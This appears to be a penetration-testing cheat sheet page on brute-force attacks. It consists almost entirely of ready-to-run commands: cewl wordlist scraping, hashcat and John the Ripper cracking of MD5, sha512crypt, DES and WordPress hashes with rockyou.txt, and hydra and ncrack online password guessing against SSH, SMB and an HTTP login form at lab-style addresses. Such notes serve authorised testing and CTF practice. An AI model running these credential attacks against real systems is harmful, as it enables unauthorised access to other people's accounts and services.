Bruteforce

Directory Bruteforce

Cewl :
cewl -d 2 -m 5 -w docswords.txt http://10.10.10.10
-d depth
-m minimum word length
-w output file
--lowercase lowercase all parsed words (optional)

Password / Hash Bruteforce

Hashcat :
hashcat -m 0 'hash#x27; /home/kali/Desktop/rockyou.txt // MD5 raw
hashcat -m 1800 'hash#x27; /home/kali/Desktop/rockyou.txt // sha512crypt
hashcat -m 1600 'hash#x27; /home/kali/Desktop/rockyou.txt // MD5(APR)
hashcat -m 1500 'hash#x27; /home/kali/Desktop/rockyou.txt // DES(Unix), Traditional DES, DEScrypt
hashcat -m 500 'hash#x27; /home/kali/Desktop/rockyou.txt // MD5crypt, MD5 (Unix)
hashcat -m 400 'hash#x27; /home/kali/Desktop/rockyou.txt // Wordpress
John :
john hashfile --wordlist=/home/kali/Desktop/rockyou.txt --format=raw-md5
Online tools :

Protocols Bruteforce

Hydra
TELNET, FTP, HTTP, HTTPS, HTTP-PROXY, SMB, SMBNT, MS-SQL, MYSQL, REXEC, irc, RSH, RLOGIN, CVS, SNMP, SMTP, SOCKS5, VNC, POP3, IMAP, NNTP, PCNFS, XMPP, ICQ, SAP/R3, LDAP2, LDAP3, Postgres, Teamspeak, Cisco auth, Cisco enable, AFP, Subversion/SVN, Firebird, LDAP2, Cisco AAA
Medusa
AFP, CVS, FTP, HTTP, IMAP, MS-SQL, MySQL, NetWare NCP, NNTP, PcAnywhere, POP3, PostgreSQL, REXEC, RLOGIN, RSH, SMBNT, SMTP-AUTH, SMTP-VRFY, SNMP, SSHv2, Subversion (SVN), Telnet, VMware Authentication Daemon (vmauthd), VNC, Generic Wrapper, Web Form
Ncrack (Fastest)
RDP, SSH, http(s), SMB, pop3(s), VNC, FTP, telnet
SSH
ncrack -v -U user.txt -P pass.txt ssh://10.10.10.10:<port> -T5
hydra -L users.txt -P pass.txt 192.168.0.114 ssh
Wordlist
// For removing duplications in wordlist
cat wordlist.txt| sort | uniq > new_word.txt
SMB :
ncrack -u qiu -P rockyou.txt -T 5 192.168.0.116 -p smb -v
HTTP Post
hydra -L users.txt -P rockyou.txt 10.10.10.10 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid Username or Password" -V -s 7654
Last modified 1yr ago
Copy link
On this page
Directory Bruteforce
Password / Hash Bruteforce
Protocols Bruteforce